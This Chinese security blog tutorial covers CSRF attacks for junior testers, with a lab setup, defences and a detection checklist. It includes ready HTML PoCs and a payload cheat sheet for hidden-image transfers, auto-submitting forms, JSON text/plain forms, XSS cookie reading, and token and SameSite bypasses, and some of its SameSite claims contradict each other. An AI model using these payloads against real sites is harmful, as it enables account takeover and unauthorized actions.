PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】CSRF跨站请求伪造:从原理到绕过实战(含Token绕过与SameSite详解)

📅 2026年6月10日 📁 Hermes Agent ⏱ 4 分钟

适合人群:初中级安全测试人员

前置知识:HTTP协议基础、Cookie/Session机制

一、前置准备


# 靶场环境(任选其一)
docker pull vulnerables/web-owasp-nodegoat
docker run -d -p 4000:4000 vulnerables/web-owasp-nodegoat

# 或使用本地靶场
pip3 install flask  # 轻量CSRF测试靶场

测试工具:

  • Burp Suite(抓包改包)
  • Playwright / 浏览器开发者工具
  • Python requests(PoC生成)

二、核心原理

CSRF(跨站请求伪造)的核心漏洞在于:

服务器无法区分「用户主动发起的请求」和「攻击者伪造的请求」

用户登录A网站后,浏览器自动携带Cookie访问攻击者构造的B网站链接,B网站利用这个身份对A网站执行非自愿操作。

攻击三要素


1. 受害者已登录目标网站(有有效Cookie/Session)
2. 目标网站的操作仅靠Cookie验证(无额外校验)
3. 攻击者构造的请求能触发目标操作

与XSS的区别

特性CSRFXSS
利用方式伪造请求,冒用身份注入脚本,执行代码
是否需要目标网站存在XSS❌ 不需要✅ 需要
受害者交互点击链接/访问页面访问被污染的页面
防御难度较容易(加Token即可)较复杂

三、实操步骤

3.1 基础CSRF(GET方式)

最经典的场景——转账接口没有任何防CSRF措施:


GET /transfer?to=attacker&amount=1000 HTTP/1.1
Host: bank.com
Cookie: session=valid_user_session

攻击PoC:


<html>
<body>
  <h1>点击领奖</h1>
  <img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
</body>
</html>

受害者访问这个页面时,浏览器自动发送了转账GET请求(携带Cookie)。

3.2 POST方式CSRF


POST /change_email HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xxx

email=attacker@evil.com

攻击PoC:


<html>
<body>
  <form action="http://target.com/change_email" method="POST" id="f">
    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
  <script>document.getElementById('f').submit()</script>
</body>
</html>

3.3 JSON API的CSRF

如果API接受JSON,用 enctype 绕过:


<form action="http://target.com/api/change_email" method="POST"
      enctype="text/plain">
  <input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>

实际请求体:


{"email":"attacker@evil.com","ignore":"="}

部分服务端对 text/plain 的JSON不做校验,直接解析。

3.4 CSRF Token绕过

绕过方式原理可用性
Token空值csrf_token=csrf_token=null⭐⭐⭐
Token复用用另一个账号的合法Token(如果Token未绑定Session)⭐⭐⭐
Token泄露Referer/URL/Cookie中泄露了Token⭐⭐
删除Token参数完全不传Token字段⭐⭐⭐
改请求方法POST→GET 绕过Token校验⭐⭐⭐
使用相同TokenToken固定(用户登录时不刷新)⭐⭐
Hash长度扩展某些框架用 hash(session_id) 做Token

3.5 SameSite Cookie 绕过

SameSite值防御效果绕过条件
Strict🔒 完全防御CSRF无法绕过
Lax(默认)⚠️ GET方式可绕过✅ 使用GET触发操作
None❌ 无防御正常CSRF攻击

SameSite=Lax绕过实战:

如果目标使用 SameSite=Lax,但某个操作可以GET触发:


<img src="http://target.com/delete_account?confirm=yes">
<!-- SameSite=Lax 下GET请求仍会携带Cookie -->

如果目标强制POST且SameSite=Lax,可以用 window.open 打开新窗口绕过:


<script>
window.open('http://target.com/api/logout')
// 顶层导航不受SameSite=Lax限制
</script>

SameSite=Strict 下的绕过思路:

  • 子域名下的XSS(可以设置同站Cookie)
  • Cookie toss(强制刷新Cookie的SameSite属性)

3.6 双重Cookie提交绕过

某些系统用「Cookie中的Token + 请求参数中的Token」做双重校验。如果Token相同但来自请求参数,可以:


<script>
// 先通过XSS获取Cookie中的Token
var token = document.cookie.match(/csrf=([^;]+)/)[1];
// 构造带Token的请求
var img = new Image();
img.src = 'http://target.com/transfer?to=attacker&amount=1000&csrf=' + token;
</script>

如果有子域名XSS,可以读取父域名的Cookie。

四、CSRF Token绕过技术

4.1 Token未绑定Session


# 漏洞代码 —— Token未绑定用户会话
VALID_TOKENS = ["abc123", "def456", "ghi789"]

def transfer(request):
    token = request.form['csrf_token']
    if token in VALID_TOKENS:  # ❌ 只检查Token是否有效,不检查属于谁
        do_transfer()

攻击者注册自己的账号,获取合法Token,然后在攻击其他人的请求中使用自己的Token。

4.2 Token在Cookie中可预测


# 漏洞代码 —— Token基于用户名预测
token = base64_encode(username + ":" + timestamp)
# 攻击者可以为自己和受害者分别计算Token

4.3 Referer校验绕过


# 漏洞代码 —— Referer包含子域名即通过
if "target.com" in request.referer:  # ❌ 弱校验
    do_action()

绕过:


<!-- 子域名攻击 -->
<img src="http://csrf.target.com/evil.html">

<!-- Referer为空绕过(meta标签) -->
<meta name="referrer" content="never">

<!-- 用 data: URI 打开 -->
data:text/html,<script>location='http://target.com/transfer?...'</script>

五、实战案例复盘

案例1:CSRF修改管理员密码

某CMS后台密码修改接口无Token保护:


POST /admin/profile/edit HTTP/1.1
Cookie: admin_session=xxx

password=newpass123&repassword=newpass123

攻击流程:

  1. 管理员登录后台
  2. 诱骗点击嵌入CSRF PoC的页面
  3. 密码被改为 newpass123
  4. 攻击者用新密码登录后台

案例2:CSRF + JSON API + XSS 组合拳

某系统API用JSON格式但无Token,同时有XSS:


1. XSS注入 → 读取用户数据
2. CSRF + JSON → 修改邮箱(使用 enctype=text/plain)
3. 触发密码重置 → 新密码发送到攻击者邮箱
4. 账号完全接管

案例3:SaaS平台多租户CSRF

某SaaS平台的组织邀请功能:


POST /api/org/invite
Cookie: session=xxx

{"email":"victim@target.com","role":"admin"}

攻击流程:

  1. 攻击者注册账号 + 创建组织
  2. 抓取invite接口的JSON格式
  3. 构造CSRF PoC发给目标组织的管理员
  4. 管理员被加入攻击者的组织,公司数据泄露

六、防御建议

防御措施效果实施难度
CSRF Token(绑定Session)🟢 最强
SameSite Cookie(Strict)🟢 强
自定义请求头(X-Requested-With)🟡 中等
Referer/Origin严格校验🟡 中等
关键操作二次验证(密码/验证码)🟢 最强
验证码(CAPTCHA)🟢 强

推荐方案(组合使用):


# 1. CSRF Token + 绑定Session
session['csrf_token'] = secrets.token_hex(16)

# 2. SameSite=Strict
response.set_cookie('session', session_id, samesite='Strict')

# 3. 关键操作二次验证
def transfer(request):
    if not request.form.get('confirm_password'):
        return "需要密码确认"

七、常见陷阱

陷阱说明
❌ Token存储在Cookie中(双重Cookie)可被子域名XSS读取
❌ Token使用固定值登录后不刷新
❌ Referer包含即可子域名可控即可绕过
❌ 仅POST需要Token,GET不需要攻击者用GET同样能触发操作
❌ JSON API不需要TokenJSON CSRF同样存在

八、总结速查表

检测步骤


# 1. 抓包看操作请求是否有Token字段
# 2. 看Cookie的SameSite属性
# 3. 去掉Token参数重新发送(看是否成功)
# 4. 用另一个账号的Token替换(看是否校验归属)
# 5. 构造PoC页面测试(用 playwright/python 自动提交)

Payload速查表

方式Payload
GET img<img src="http://target.com/action?param=value">
POST form<form action="http://target.com/action" method=POST>
JSON text/plain<form enctype="text/plain" action="http://target.com/api">
XHR + CSRF<script>fetch('http://target.com/api',{credentials:'include'})
SameSite绕过window.open('http://target.com/action')
← 返回首页